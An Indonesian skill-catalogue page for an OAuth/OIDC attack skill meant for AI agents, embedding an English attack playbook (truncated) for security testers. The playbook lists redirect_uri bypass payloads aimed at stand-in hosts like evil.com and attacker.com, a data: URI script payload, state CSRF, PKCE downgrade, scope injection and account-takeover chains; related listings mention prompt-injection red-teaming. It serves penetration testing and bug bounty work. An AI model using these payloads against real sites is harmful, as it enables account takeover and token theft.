oauth
Fungsinya
Skill ini menjelaskan kesalahan umum pada OAuth dan OpenID, seperti alamat redirect yang longgar dan pemeriksaan state yang lemah. Skill ini untuk penguji keamanan yang meninjau login dengan akun pihak ketiga.
Kapan dipakai
- βSaat sebuah situs menawarkan Sign in with Google atau penyedia OAuth lainnya.
- βSaat sebuah tinjauan keamanan menanyakan apakah alamat redirect diperiksa dengan ketat.
- βSaat Anda ingin menguji apakah kode login atau token yang dicuri bisa dipakai di akun lain.
Link skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/oauth/SKILL.mdSalin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.
Cara pakai
Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.
Pesan siap tempel
Untuk Claude Code, Codex, atau Cursor: jalankan di folder proyek, lalu skill langsung terpasang.
Unduh SKILL.md lalu taruh di folder skill agen Anda.
Contoh permintaan ke AI
βBisakah Anda memeriksa apakah alur Sign in with Google di situs saya bisa mengirim kode login ke alamat yang salah?β
5 skill baru setiap minggu. 1 menit baca.
Cara kerjanya
Agent memetakan endpoint login, mengubah alamat redirect dan parameter lain, lalu memeriksa apakah penyedia atau situs menerima nilai yang diubah itu.
Konten teknis (SKILL.md asli)
Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.
OAuth / OIDC Attack Playbook
OAuth bugs are the single highest-paying ATO vector in modern bug bounty. Every B2B SaaS has an OAuth surface; many implement it wrong.
1. Map the flow
# Discovery
curl -s https://target/.well-known/openid-configuration | jq
# Key endpoints to identify:
# - /authorize (where redirect_uri/client_id/scope arrive)
# - /token (where code exchanges for tokens)
# - /userinfo (claims about user)
# - /jwks.json (signing keys, see jwt/SKILL.md)
# - /revoke (sometimes overpermissive)
Capture a normal flow in Burp. Note: client_id, redirect_uri, state,
scope, response_type, code_challenge (PKCE).
2. Attack surface
2.1 redirect_uri bypass
The #1 OAuth bug class. Server's allowlist regex is too loose:
| Bypass | Example |
|---|---|
| Path append | https://target.com/callback/../../evil |
| Subdomain wildcard | https://target.com.evil.com/cb (server matches *.target.com) |
| Userinfo trick | https://target.com@evil.com/cb |
| Path-traversal in fragment | https://target.com/cb#@evil.com |
| Open-redirect chain | redirect_uri=https://target.com/known-redirect?to=evil.com |
| Localhost / loopback | redirect_uri=http://localhost:1337 (often allowlisted) |
data: URI |
redirect_uri=data:text/html,<script>... (rare but devastating) |
| Mixed-protocol | http:// accepted where https:// required |
| URL-encoded slash | https://target.com%2Fcallback%2F@evil.com |
| Different fragment behavior | redirect_uri=https://evil.com#https://target.com/cb |
Test ALL of these. paramspider + Burp Intruder w/ payload list = systematic.
2.2 State parameter missing / weak (CSRF)
state should bind the auth request to the user's session. Missing or
predictable state β attacker initiates OAuth in own browser, sends victim
the URL, victim clicks β attacker's account now linked to victim's identity.
GET /authorize?response_type=code
&client_id=...
&redirect_uri=https://target.com/cb
&state= β empty or predictable
2.3 PKCE downgrade
Public clients (mobile, SPA) SHOULD use PKCE. If server accepts
code_verifier omission for a flow that should require it:
POST /token
client_id=mobile-app
code=<stolen_code>
# Note: no code_verifier sent
Some servers fall back to non-PKCE flow β stolen code exchanges fine.
2.4 Code reuse / replay
Some servers don't invalidate codes after first exchange. Capture the code (via referer leak, IDOR, log scrape) β exchange in attacker's session for victim's tokens.
2.5 Referer leak of code
Some apps render auth-callback as a regular page that fetches resources
from third-party CDNs. The full URL (including ?code=...) is sent in
Referer header to those CDNs. Attacker who owns / can compromise a
CDN link extracts the code.
Test: visit the callback URL, observe Referer to all third-party hosts.
2.6 Scope creep / mass-assignment in token request
POST /token
grant_type=authorization_code
code=...
scope=read write admin β inject elevated scope
Some servers honor a scope parameter at token-exchange time and don't
re-validate against original /authorize scope.
2.7 response_type confusion
The hybrid flow (response_type=code id_token) may behave differently:
- Server returns id_token in URL fragment (visible client-side)
- Then code exchange for access_token
- Sometimes the id_token validation is weak/skipped on response_type variations
2.8 client_id confusion
Some servers trust client_id as the only identifier. If two clients
share a redirect_uri pattern, you can re-use one's code as another:
client_id=trusted-internal-app
redirect_uri=https://attacker.com/cb (also allowlisted for trusted app!)
2.9 OAuth β Account Takeover chain
The classic ATO via OAuth:
- Victim signs in to target via OAuth (Google/Microsoft)
- Attacker finds open-redirect or XSS on target
- Attacker crafts OAuth init URL w/ redirect_uri pointing to attacker via open-redirect
- Victim clicks β server issues code β redirected to attacker's host w/ code in URL
- Attacker exchanges code for victim's tokens β full ATO
2.10 Account-linking vulnerabilities
"Sign in with Google" can link a NEW Google account to an EXISTING email-password account if the server matches solely by email. Attacker registers victim@target-mail.com (a typosquat or sub-add), starts OAuth, links to victim's existing account.
3. Tools
- `o
Pertanyaan umum
Apa itu bypass redirect_uri?
Itu terjadi ketika server login menerima alamat balik yang sedikit diubah, sehingga kode login bisa dikirim ke tempat selain situs yang sah.
Apakah skill ini mencakup PKCE?
Ya, skill ini menyebut pemeriksaan apakah PKCE bisa diturunkan versinya atau dilewati.
Dari mana pengujian dimulai?
Skill ini mulai dengan membaca file openid-configuration milik penyedia untuk menemukan endpoint utama.
Detail
Deskripsi asli dari pembuat
OAuth 2.0 / OIDC attacks β redirect_uri bypass, state CSRF, code leak via Referer, response_type confusion, PKCE downgrade, scope creep, ATO chains.
Popularitas
- Bintang GitHub
- 6.5k
- Peringkat
- #14073
- Lisensi
- Apache-2.0
- Diperbarui
- 1/11/2026
Komentar
- β¦
Skill lain dari repositori ini
detector-overview
6.5kMembantu agent Anda membaca kode yang ditandai pemindai dan memutuskan titik mana yang benar-benar bug keamanan dan mana yang alarm palsu.
exploiter-overview
6.5kMembantu agent Anda menggabungkan beberapa kelemahan keamanan yang terkonfirmasi menjadi satu rantai uji dan memeriksa sejauh mana rantai itu bisa mencapai.
llm-redteam-overview
6.5kMembantu agent Anda menemukan panduan red-team AI yang tepat untuk sebuah uji, mencakup 15 kelompok taktik dari prompt injection sampai penyalahgunaan model.
aatmf-t01-prompt-injection
6.5kMenjelaskan prompt injection, yaitu instruksi tersembunyi yang berusaha mengalahkan sistem AI, agar penguji keamanan dapat memeriksanya.
Skill serupa
reverse-engineer-anything
422kMembantu agent Anda memeriksa aplikasi dan paket yang sudah dirilis untuk menjelaskan fitur, membandingkan versi, atau memandu pembangunan ulang dengan alat REA.
1password
394kMembantu agent Anda mengatur CLI 1Password, masuk, serta membaca atau menyisipkan rahasia tanpa menampilkan nilainya di chat.
healthcheck
394kMembantu agent Anda mengaudit komputer atau server OpenClaw dari risiko keamanan seperti SSH, firewall, pembaruan, dan cadangan, lalu menyarankan perbaikan aman.